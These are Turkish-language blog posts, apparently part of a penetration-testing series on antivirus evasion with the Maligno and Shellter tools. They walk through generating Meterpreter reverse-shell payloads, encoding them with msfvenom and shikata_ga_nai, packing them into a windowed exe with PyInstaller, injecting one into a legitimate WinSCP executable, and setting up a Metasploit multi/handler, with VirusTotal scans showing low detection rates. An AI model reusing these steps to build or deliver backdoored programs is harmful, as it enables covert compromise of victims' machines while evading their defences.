<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi11ARjTWwIX-UsxdlrShEsKfCCJVdvcp6yxmgh7oaAWdD3HvYe40RZwXSO2PdZ5N3bseZR7sESl3S57DGrGOg77fNM5RQFPjbfrJDjgtEqBU1AuuyPj3I_GPrwk4MTYMdl9_GVK7f5MA/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="104" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi11ARjTWwIX-UsxdlrShEsKfCCJVdvcp6yxmgh7oaAWdD3HvYe40RZwXSO2PdZ5N3bseZR7sESl3S57DGrGOg77fNM5RQFPjbfrJDjgtEqBU1AuuyPj3I_GPrwk4MTYMdl9_GVK7f5MA/s640/1.png" width="640" /></a></div>
<br />
<b>Konfigürasyon</b>
<br />
<br />
Üretilecek olan zararlı yazılımlara ait bilgileri içeren<b> server_config.xml</b> dosyasını reverse bağlantı için kullanılacak olan sunucuya göre ayarlamamız gerekmektedir. Burada düzenlenmesi gereken bilgilerden bazıları; <br />
<ul>
<li><span style="font-family: "courier new" , "courier" , monospace;">Metasploit payload ismi </span></li>
<li><span style="font-family: "courier new" , "courier" , monospace;">Payloadlar için gerekli host adresi ve port numarası </span></li>
<li><span style="font-family: "courier new" , "courier" , monospace;">Hangi encode işleminden geçirileceği </span></li>
<li><span style="font-family: "courier new" , "courier" , monospace;">Encode işleminin kaç iterasyon işleminden geçeçeği</span></li>
<li><span style="font-family: "courier new" , "courier" , monospace;">Kullanılmasının istenmediği karakterler (badchars)</span></li>
<li><span style="font-family: "courier new" , "courier" , monospace;">Network scope alanı
</span></li>
</ul>
Bu alanlardan düzenlenmesi zaruri olan kısımlar, bilgisayarda kurulu olan <b>Metasploit framework yolu</b> ve <b>LHOST </b>alanlarıdır.<br />
İstenildiği takdirde, üretilen shellcode'un geçirileceği encode tipi ve iterasyon sayısı veya reverse bağlantıda kurbanın bize geleceği port adresi gibi alanlar da değiştirilebilir.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSPvak29dqeevsDTvVZXlr7LwgRtXSvbnx2xmzLZ2PM4FW4vUpZDwthLuWuycpI-6v-kMnyOJ07DmrAGbuoP_-rHkSzmygE8rTvO9RPEncosgERGkV8IJURaoepEq0EKuF_0UQWWQufg/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="297" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSPvak29dqeevsDTvVZXlr7LwgRtXSvbnx2xmzLZ2PM4FW4vUpZDwthLuWuycpI-6v-kMnyOJ07DmrAGbuoP_-rHkSzmygE8rTvO9RPEncosgERGkV8IJURaoepEq0EKuF_0UQWWQufg/s400/2.png" width="400" /></a></div>
<br />
<b>Maligno Server
</b><br />
<br />
Maligno klasörü içerisinde bulunan ve kullanılabilecek dosyalardan biri olan <b>maligno_srv.py</b>, oluşturulacak olan zararlıların bulaştığı kurbanlar hakkında bilgilendirme sunan ve bu payloadlar için Metasploit tarafında kullanılabilecek <b>Resource </b>dosyalarını oluşturmaktadır. Aynı zamanda uygulamanın güncellemelerini de kontrol etmektedir.
<br />
<br />
<b>Maligno Client Generator
</b><br />
<br />
Maligno klasörü içerisinde bulunan ve kullanılabilecek dosyalardan bir diğeri olan<b> clientgen.py</b> scripti, Metasploit'in meterpreter reverse http, https, https_proxy ve python meterpreter reverse tcp bağlantılarını elde edebilecek payloadları oluşturur. Çıktılar (<b>clients </b>klasöründe) python dosya formatındadır. Bunların yanında oluşturulan zararlı yazılımlar için Metasploit tarafında kullanılacak handler için payloadların resource dosyaları da oluşturulmaktadır (<b>msfresource </b>klasöründe).<br />
<br />
Oluşturulan zararlılar python dosya formatında verilmektedir. Enfekte işleminin yapılacağı makinede python interpreter yüklü ise normal bir python dosyasıymış gibi çalıştırabiliriz.<br />
<br />
Fakat bilgisayarda python yüklü olmayacağı gibi kullanılan python modülleri de yüklü olmayabilir ve bu yüzden dosya çalışma sırasında sıkıntılar yaratabilir. Bu yüzden python dosyamızı bazı yardımcı modüller (PyInstaller , Py2Exe, cx_Freeze) ile çalıştırılabilir dosya formatı olan exe'ye çevirebiliriz. Yazıda dönüştürme işlemi için <b>PyInstaller </b>kullanılacaktır.<br />
<br />
Bağlantıyı kurması için kullanılacak olan zararlıları oluşturmak için clientgen.py dosyasını kullanacağız. Bunun için;<br />
<ul>
<li><span style="font-family: "courier new" , "courier" , monospace;">python clientgen.py -f server_config.xml -s true
</span></li>
</ul>
Burada <b>-f</b> parametresi için kullanılan argüman, içeriğini düzelttiğimiz konfigürasyon dosyası, <b>-s</b> parametresi ise hem resource dosyalarını oluşturur hemde scriptlerin çalıştırılabilmesini sağlar.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4KLQ06yrxwCsk0FVcAjSua0Ll3DVw5CsctYtFIXhpBLvZK2HE_vxFxaMpVAjdKiizmV7tjBBalfaPOZ1J5ORV8lEX7-EfTRsnHXqbSK9SfOnkdou0XE8PC7RvgJ1PFQ2mSYWXc8XSFQ/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="176" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4KLQ06yrxwCsk0FVcAjSua0Ll3DVw5CsctYtFIXhpBLvZK2HE_vxFxaMpVAjdKiizmV7tjBBalfaPOZ1J5ORV8lEX7-EfTRsnHXqbSK9SfOnkdou0XE8PC7RvgJ1PFQ2mSYWXc8XSFQ/s640/3.png" width="640" /></a></div>
Sorunsuz bir şekilde python scriptleri ve Metasploit resource dosyaları oluşturulmuştur.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihr7vEoHVTai38r91Jnf4zVaBvYqiF8Vorl52fgL_nbr61R_2kApjhH4lNr1Otwv3lzyjB3e15YVPUuwVNrQTsITY_7WEzAtGHGmjkH_sUKfvEaL1KWX13Lew8szKdftNijTTqxnPKRA/s1600/3_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihr7vEoHVTai38r91Jnf4zVaBvYqiF8Vorl52fgL_nbr61R_2kApjhH4lNr1Otwv3lzyjB3e15YVPUuwVNrQTsITY_7WEzAtGHGmjkH_sUKfvEaL1KWX13Lew8szKdftNijTTqxnPKRA/s640/3_1.png" width="640" /></a></div>
<br />
<b>Python Dosya ile Reverse Bağlantı
</b><br />
<br />
Oluşturulan zararlıları kurban bilgisayarda çalıştırmadan evvel gelecek olan bağlantıyı yakalayacak handlerı oluşturmamız gerekmektedir. Yukarıdaki satırlarda belirttiğimiz gibi Maligno, handler için resource dosyalarını da oluşturmaktadır. Oluşturulan zararlılardan meterpreter için reverse HTTPS bağlantı veren dosyayı çalıştıracağımız farz edelim ve buna göre oluşturulan resource dosyasını yükleyelim.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi4GX5-yVMa2oAFckCOnDaFar3ifcSj_RFKnOER1ItKBtQXdtKLm8OOY17uYqu9R7xa1KOSieFwwtNM03OXUP0HSLsWdzUxGMaLFj0iGioxzU4vrkEyBnQGnqvetyYeRg8_Os5h9W5Lw/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="520" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi4GX5-yVMa2oAFckCOnDaFar3ifcSj_RFKnOER1ItKBtQXdtKLm8OOY17uYqu9R7xa1KOSieFwwtNM03OXUP0HSLsWdzUxGMaLFj0iGioxzU4vrkEyBnQGnqvetyYeRg8_Os5h9W5Lw/s640/4.png" width="640" /></a></div>
<br />
Python'un ve diğer modüllerinin yüklü olduğunu varsayıp, kurban bilgisayarında oluşturduğumuz scripti çalıştıralım. <br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim_dLBenBAw48T8v_ix3AgdErU-gzRdWM_tbGk9etW1GFEI-YjM4MEpntgIlCAyDoU0laLuuGrEw3twRYZMEDk2vPPTJCAozNWviSdap6JmQX8YFiDmOYrb_PAEjrDhFLz0UbGYFbb_A/s1600/7.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="116" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim_dLBenBAw48T8v_ix3AgdErU-gzRdWM_tbGk9etW1GFEI-YjM4MEpntgIlCAyDoU0laLuuGrEw3twRYZMEDk2vPPTJCAozNWviSdap6JmQX8YFiDmOYrb_PAEjrDhFLz0UbGYFbb_A/s640/7.PNG" width="640" /></a></div>
<br />
Dosya çalıştırıldıktan sonra dinlemeye aldığımız Metasploit tarafına bağlantı gelecektir ve session oluşacaktır.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEia0Ty17xJWJ2DWiMObzINhJWMwvWd3V7ytN7icJpC-6vC8ft6qK20QJfTkjEqghttwGpkjYj5uZRAMx0B0Jp0E58vUHP0kysnRlQELUuYabhm_VV8oD74tBg8lyxg6n3YdiJ3cth7vdQ/s1600/7_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="292" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEia0Ty17xJWJ2DWiMObzINhJWMwvWd3V7ytN7icJpC-6vC8ft6qK20QJfTkjEqghttwGpkjYj5uZRAMx0B0Jp0E58vUHP0kysnRlQELUuYabhm_VV8oD74tBg8lyxg6n3YdiJ3cth7vdQ/s640/7_1.png" width="640" /></a></div>
<br />
<b>EXE ile Reverse Bağlantı
</b><br />
<br />
Önceden belirttiğimiz gibi her bilgisayarda python olmayabilir. Olsa dahi gerekli modüller yüklü olmayabilir. Bu yüzden python dosyasımız bazı modülleri kullanarak çalıştırılabilir dosyalara dönüştürebileceğimizden bahsetmiştik. PyInstaller ile python dosyamızı exe formatına dönüştürmek için aşağıdaki komut kullanılabilir.<br />
<ul>
<li><span style="font-family: "courier new" , "courier" , monospace;">pyinstaller.exe --onefile –windowed standalone_1_standard_windows_reverse_https.py</span></li>
</ul>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXAJqFN_uqxK0cBncQp5i5yjefqgLgw70o7-qSVcz51AotuSLMHo4hFrvjyLBVh9Cq6TwHCa5BqnkaGz119gAtp9gYIo4DNWnWKPPw6l6O35g_ZSBlPOzlPBdO9JV_bSuljd51OPO-8Q/s1600/8.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXAJqFN_uqxK0cBncQp5i5yjefqgLgw70o7-qSVcz51AotuSLMHo4hFrvjyLBVh9Cq6TwHCa5BqnkaGz119gAtp9gYIo4DNWnWKPPw6l6O35g_ZSBlPOzlPBdO9JV_bSuljd51OPO-8Q/s400/8.PNG" width="378" /></a></div>
İşlemin sonunda komutu çalıştırdığımız klasörün içerisinde <b>build </b>ve <b>dist </b>klasörleri oluşacaktır. Dist klasörü altında aradığımız exe dosyası bulunmaktadır. Bu dosyaya çift tıkladığımızda veya komut satırından çalıştırdığımızda, herhangi bir exe dosyasıymış gibi, beklemeye aldığımız Metasploit tarafına bağlantı düşecektir.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJ3XIWBkPos2fZixhgKaA8liPrBUtmjk5unPohrl6jm8hM4jiP9eqqW7OGQ93YlRGW_F1zKJuCFoPVIDYjDzmmkWbBIG4pLU-0SuxfOThEIIRlhydZ09RByOJ9o9BP7A_N6YSPPNZ36A/s1600/8_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="292" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJ3XIWBkPos2fZixhgKaA8liPrBUtmjk5unPohrl6jm8hM4jiP9eqqW7OGQ93YlRGW_F1zKJuCFoPVIDYjDzmmkWbBIG4pLU-0SuxfOThEIIRlhydZ09RByOJ9o9BP7A_N6YSPPNZ36A/s640/8_1.png" width="640" /></a></div>
<br />
<b>Tarama Sonucu
</b><br />
<br />
Oluşturduğumuz zararlı yazılımın, online tarama sonucu aşağıda ki resimlerde verilmiştir. İlk olarak python dosyamız için <a href="https://www.virustotal.com/" target="_blank">VirusTotal </a>sayfasında yaptığımız taramanın sonucunu görelim.
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7OxbpdJb1GYA9oRQfO81Oz37jQdJ4KhoqTU8N_Uxk7WpAFmlZUd6S4wPUfSPdpHQdc4fnlEptPbx8tUh5jrpuIwY11FmJ-UStWaUyTu7h6m1I8P23eWsdvGvgBHHQOTsGlrG4cAgEZw/s1600/6.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="110" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7OxbpdJb1GYA9oRQfO81Oz37jQdJ4KhoqTU8N_Uxk7WpAFmlZUd6S4wPUfSPdpHQdc4fnlEptPbx8tUh5jrpuIwY11FmJ-UStWaUyTu7h6m1I8P23eWsdvGvgBHHQOTsGlrG4cAgEZw/s640/6.PNG" width="640" /></a></div>
<br />
Şimdi ise PyInstaller ile exe'ye çevirdiğimiz zararlı dosya için VirusTotal web sitesinde yapılan taramanın sonucunu görelim.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje8CwbVgn4sN6mwBlZW7Xi4-DHAO5LkUpxVYcQ50SGwAuIk1UfLVhnJn0h1AqCc8-hRL9_7MCJW8IalYW0rSbMMFGm9PG69NibNUZf282TYOWS5Rlnxmtp_z-rERZDRofNaW-FbSfIJQ/s1600/6_1.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="118" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje8CwbVgn4sN6mwBlZW7Xi4-DHAO5LkUpxVYcQ50SGwAuIk1UfLVhnJn0h1AqCc8-hRL9_7MCJW8IalYW0rSbMMFGm9PG69NibNUZf282TYOWS5Rlnxmtp_z-rERZDRofNaW-FbSfIJQ/s640/6_1.PNG" width="640" /></a></div>
<br />Yunus YILDIRIMhttp://www.blogger.com/profile/09141970922985921246noreply@blogger.com2tag:blogger.com,1999:blog-4536086478290117322.post-71495035291523420832015-11-19T12:04:00.000-08:002015-11-19T12:04:57.010-08:00Anti-Virus Atlatma - Shellter Custom Payload<div style="text-align: left;">
Bir önceki yazıda <b>Shellter </b>aracının<b> içerisindeki payloadları</b> kullanarak, çalıştırılabilir dosya formatında ki bir dosyaya arka kapı yerleştirmiştik. Oluşturulan bu zararlı yazılımın <b>Virustotal </b>sitesindeki taramasından elde edilen sonuç <b>1/56</b> idi.</div>
<div style="text-align: left;">
Bu yazıda yine Shellter aracını kullanacağız fakat bu sefer gömülü gelen payloadlar yerine, Metasploit Framework'ün içerisinde bulunan <b>Msfvenom </b>ile <b>üreteceğimiz </b>ve bize <b>meterpreter </b>ile <b>reverse </b>bir <b>TCP</b> bağlantı veren payload kullanacağız.</div>
<br />
<b>Msfvenom</b>
<br />
<br />
Öncelikle Msfvenom kullanarak bir payload üreteceğiz. Msfvenom, Metasploit framework'ün içerisinde bulunan Msfpayload ve Msfencode araçlarının birleşimidir. Üstünde iyileştirmeler ve optimizasyon yapılmıştır, önceki araçlara göre hızlı bir şekilde payload/shellcode üretmektedir. Artık Metasploit içerisinde <b>msfpayload </b>ve <b>msfencode </b>araçları <b>kullanılmamaktadır</b>. Default olarak <b>Msfvenom</b> gelmektedir. Basit bir şekilde, <b>x86/shikata_ga_nai </b>ile <b>10 iterasyonla</b> encode edilmiş bir payload kullanacağız.<br />
<ul>
<li><span style="font-family: "courier new" , "courier" , monospace;">msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.17.7.134 LPORT=5656 -a x86 -e x86/shikata_ga_nai -i 10 -f raw -o Backdoor.raw
<a name='more'></a></span></li>
</ul>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNc1rISjlBQWk_iH6C4nregQy9EFjpkEP-lxt2UDtSrrMjMd2MmCyIASLBF3dcgSwWJWYcLFrZaltShIswPsZupP70vds0_gzumJWDhP3mS0pqWIfsPBOdeQybuozMMCcNp1Askwko2Q/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="128" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNc1rISjlBQWk_iH6C4nregQy9EFjpkEP-lxt2UDtSrrMjMd2MmCyIASLBF3dcgSwWJWYcLFrZaltShIswPsZupP70vds0_gzumJWDhP3mS0pqWIfsPBOdeQybuozMMCcNp1Askwko2Q/s640/1.png" width="640" /></a></div>
<br />
<b>Shellter</b><br />
<br />
Daha öncede bahsettiğimiz gibi <b>Auto </b>ve <b>Manual </b>olmak üzere iki mod bulunmaktadır. Manual modda çok fazla interaktif işlem olduğu için, kimi zaman kötü bir çıktı alınabilir. Hız, kolaylık ve bypass kabiliyetinin yüksekliği nedeniyle Auto mod (<b>A</b>) tercih edilir.
Mod tercihinden sonra arka kapıyı enjekte edeceğimiz zararlı yazılımın dosya yolunu girmemiz gerekmektedir. Örnek olarak <b>SFTP </b>yazılımı olan portable <a href="https://winscp.net/download/winscp575.zip" target="_blank">WinSCP </a>indirilip, kullanılmıştır.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj34QELjO1UYJb_l7d4FYgsETo-5g5gijjh8mDOtvwSo0fx2jHNXcwUCR1DMNkteF8X_jDHOoTuZjuO_gxAF1-KVIZCJnCgiqXI6gvznjsNi3aKkq7pJe06H7dIT72aZ8ThePys5sLhlQ/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="326" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj34QELjO1UYJb_l7d4FYgsETo-5g5gijjh8mDOtvwSo0fx2jHNXcwUCR1DMNkteF8X_jDHOoTuZjuO_gxAF1-KVIZCJnCgiqXI6gvznjsNi3aKkq7pJe06H7dIT72aZ8ThePys5sLhlQ/s400/2.png" width="400" /></a></div>
<br />
<b>Custom Payload
</b><br />
<br />
Gelen ekranda iki seçenek sunuluyor. İlki, bir önceki yazıda anlattığımız, Shellter içerisinde gömülü olarak gelen payloadlardan birini kullanarak zararlıyı oluşturma. İkincisi, elimizde olan bir payloadı çalıştırılabilir dosyaya enjekte etme seçeneği.<br />
Custom manasındaki <b>C</b>'yi girdikten sonra, Msfvenom ile ürettiğimiz payloadın yolunu göstererek yola devam ediyoruz. Shellter v4 ile birlikte <b>Reflective DLL </b>destekler şekilde gelişmiştir. Reflective DLL seçeneği ile seçilecek olan bir DLL processin çalışması sırasında kullanılabilir. Kullanılacak DLL disk üzerinde herhangi bir işlem yapmayan, üzerinde çalıştığı processin adres uzayında çalışacaktır. <b>N</b> diyip geçiyoruz. Payload hakkında kısa bir bilgi gösterdikten sonra, vermiş olduğumuz payloadı, çalıştırılabilir dosyaya enjeksiyon işlemi başlamış oluyor.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixfTdiB6EbYKeWoCkF9dEuC64bfptf0ZDr3lc57cVkKW8s8F6Qvl_z6x5pcLFxPp7h4wX3bC-2HTtT-aw5cMpBGc7lXCmQsWkWdnvJQyV60pLvozTR2d8B9jnAjxFPgwFngjMaDi4QiQ/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="356" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixfTdiB6EbYKeWoCkF9dEuC64bfptf0ZDr3lc57cVkKW8s8F6Qvl_z6x5pcLFxPp7h4wX3bC-2HTtT-aw5cMpBGc7lXCmQsWkWdnvJQyV60pLvozTR2d8B9jnAjxFPgwFngjMaDi4QiQ/s400/3.png" width="400" /></a></div>
Enjeksiyon işlemi tamamlandı. Bu aşamadan sonra çalıştırılabilir dosyamıza oluşturduğumuz arka kapı yerleştirilmiştir.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtM-vI_8wjhADIyqE-aO2iyZ5RaXzRGURNi1P_hrHrOR0BIw2W7XB9H5n9q9IQwaaJ4kAuYwph1V-qsAQ1CmFEcVx7yHv3h9lsrQcezKf-bG2MoEgyKfdDFotMvlLXuz80QKiVzYBAOA/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="277" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtM-vI_8wjhADIyqE-aO2iyZ5RaXzRGURNi1P_hrHrOR0BIw2W7XB9H5n9q9IQwaaJ4kAuYwph1V-qsAQ1CmFEcVx7yHv3h9lsrQcezKf-bG2MoEgyKfdDFotMvlLXuz80QKiVzYBAOA/s400/4.png" width="400" /></a></div>
<br />
<b>Tarama Sonucu
</b><br />
<br />
Oluşturduğumuz zararlı yazılımın, <a href="https://www.virustotal.com/" target="_blank">VirusTotal </a>sayfasında yapılan online tarama sonucu aşağıdaki resimde verilmiştir.
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh93keMhplC09iPgjJRGaTgM8Kiv15SvIdKKX2PzSibpHkPoCnOgDBkkbil-2P1Tkg28nPdIM_rVU5W41XzNXNV_UM1cVBr67TJRtqm_7BN-2aaJ2dCk_JczKlzbT4LPxlC_pk_VZwptQ/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="120" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh93keMhplC09iPgjJRGaTgM8Kiv15SvIdKKX2PzSibpHkPoCnOgDBkkbil-2P1Tkg28nPdIM_rVU5W41XzNXNV_UM1cVBr67TJRtqm_7BN-2aaJ2dCk_JczKlzbT4LPxlC_pk_VZwptQ/s640/5.png" width="640" /></a></div>
<br />
Görüldüğü üzere kendi oluşturduğumuz payloadı kullanmak, Shellter içerisinde gömülü gelen payloadları kullanmaktan daha iyi sonuç verdi. Şimdi ise oluşturulan zararlıyı, kurban makinesinde çalıştıralım ve Metasploit'e gelecek bağlantıyı görelim.
<br />
<br />
<b>Reverse Bağlantı
</b><br />
<br />
Oluşturduğumuz zararlı yazılım öncelikle Metasploit tarafında dinlemeye almamız gerekiyor, gelen bağlantıları yakalamak için. Bunu yapmak için<b> multi/handler</b> modülünü kullanarak gerekli opsiyonları düzenleyip dinlemeyi başlatmamız gerek.<br />
Bunun için oluşturduğumuz payloada göre girilecek komutlar aşağıdaki gibidir.<br />
<ul>
<li><span style="font-family: "courier new" , "courier" , monospace;">use exploit/multi/handler </span></li>
<li><span style="font-family: "courier new" , "courier" , monospace;">set payload windows/meterpreter/reverse_tcp </span></li>
<li><span style="font-family: "courier new" , "courier" , monospace;">set lhost 172.17.7.134</span></li>
<li><span style="font-family: "courier new" , "courier" , monospace;">set lport 5656</span></li>
<li><span style="font-family: "courier new" , "courier" , monospace;">set exitonsession false </span></li>
<li><span style="font-family: "courier new" , "courier" , monospace;">exploit -j -z
</span></li>
</ul>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfoMGDIqZ_uZl5N36WA7u545Gkjm_u9wf5ea9IIz3kwH58wAvF8RXZDeaFjCe1DPmllkpUnSXNuFjXdiujz5EL5_QnPWmvIJkW58tz7KPPlsE7DOK91MF0TfJARWpxNpAOAEPTSDb-vw/s1600/6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="283" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfoMGDIqZ_uZl5N36WA7u545Gkjm_u9wf5ea9IIz3kwH58wAvF8RXZDeaFjCe1DPmllkpUnSXNuFjXdiujz5EL5_QnPWmvIJkW58tz7KPPlsE7DOK91MF0TfJARWpxNpAOAEPTSDb-vw/s640/6.png" width="640" /></a></div>
<br />
Oluşturulan zararlı yazılımın kurban bilgisayarında çalıştırılması sonucunda, dinlemeye aldığımız handler'a session düşecektir. Var olan sessiona geçiş yapıp, meterpreter shell'imizi kullanabiliriz.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQ3ZUencqIhGFukGhCr8siRLwORyPO1lK3GOzi9IvQsuaihzORf0D2SwjrXX2QCML9-lgTJdstNcfBz4n9Ol7JShibj9yhyJkEsJY3Z-a0C7zz7pfYvdns5gNDwC16oxEZeHhRhOQtoQ/s1600/7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="281" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQ3ZUencqIhGFukGhCr8siRLwORyPO1lK3GOzi9IvQsuaihzORf0D2SwjrXX2QCML9-lgTJdstNcfBz4n9Ol7JShibj9yhyJkEsJY3Z-a0C7zz7pfYvdns5gNDwC16oxEZeHhRhOQtoQ/s640/7.png" width="640" /></a></div>
Yunus YILDIRIMhttp://www.blogger.com/profile/09141970922985921246noreply@blogger.com1tag:blogger.com,1999:blog-4536086478290117322.post-72293670614627858562015-11-07T09:21:00.002-08:002015-11-07T09:21:41.919-08:00Anti-Virus Atlatma - Shellter<div style="text-align: left;">
Anti-virüs bypass yazı dizisinin başka bir bölümü olan <b>Shellter </b>aracını anlatan yazı ile devam edeceğiz.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Shellter, ücretsiz ve multi platform çalışabilen bir anti-virus bypass aracıdır. Genel olarak var olan bir çalıştırılabilir dosyaya zararlı yazılımımızı entegre etmeye yarar. Bu şekilde ürettiğimiz (Metasploit'in msfvenom aracını kullanarak) arka kapıyı, çalıştırılabilir dosya formatı olan exe formatındaki dosyalara Shellter ile enjekte edip kurban makinesinde çalıştırabiliriz.</div>
<br />
<div style="text-align: left;">
<b>Kurulum</b>
</div>
<br />
Anlatılacak olan işlemlerde <b>Kali linux</b> işletim sistemi kullanıldığı için, işlemler linux sistemlere göre anlatılacaktır. Shellter'in <a href="https://www.shellterproject.com/download/" target="_blank">download </a>sayfasını incelediğimiz vakit bir kaç alternatif olduğunu görüyoruz.<br />
<ul>
<li><span style="font-family: "courier new" , "courier" , monospace;">Zip dosyasını indirmek (Yazım sırasındaki son versiyon v5.1)</span></li>
<span style="font-family: "courier new" , "courier" , monospace;">
</span>
<li><span style="font-family: "courier new" , "courier" , monospace;">Linux dağıtımlarının depolarından kurmak (Kali için v3.1)</span></li>
<span style="font-family: "courier new" , "courier" , monospace;">
</span>
<li><span style="font-size: small;"><span style="font-family: "courier new" , "courier" , monospace;">Debian/Arch dağıtımları için hazır paket ile kurmak (Debian için v2.0) </span></span></li>
</ul>
<br />
<a name='more'></a>Alternatifler böyle iken zip dosyasını indirip, son versiyon ile çalışmak daha mantıklı olacaktır. Bu arada v4.0'dan sonra Shellter içerisinde bulunan <b>hazır payloadları enjekte etme seçeneği</b> eklenmiştir. Versiyon 4'ten önce, kendi hazırladığımız payload ile çalıştırılabilir dosyayı birleştirip anti-virüs bypass işlemini gerçekleştiriyorduk.<br />
<br />
Uygulama linux ortamlarda <b>Wine </b>ile çalışmaktadır. <a href="https://www.shellterproject.com/download/" target="_blank">Download </a>sayfasından indirdiğimiz zip dosyasını, açtıktan sonra klasör içerisinde yer alan <b>shellter.exe'</b>yi <b>wine </b>ile çalıştırmak yeterlidir. Kısa bir süre gerekli konfigürasyonlar yapılacak ve Shellter başlayacaktır.<br />
Kurban bilgisayar Windows 7, saldırgan ise Kali linux kullanmaktadır.<br />
<br />
<b>Auto-Manual Mod
</b><br />
<br />
Shellter içinde iki mod vardır. Bunlardan biri <b>Manual</b>, daha esnek bir şekilde işlemler gerçekleştirilir, kullanıcıyla fazla iletişim kurarak zararlıyı çalıştırılabilir dosyaya enjekte eder. Diğeri <b>Auto</b>, bu modda iken daha seri bir şekilde, çok fazla uygulamaya müdahale etmeden, kısa bir kaç işlem sonunda zararlıyı çalıştırılabilir dosyaya enjekte edebilirsiniz.
Shellter'in giriş ekranından bir kare;<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
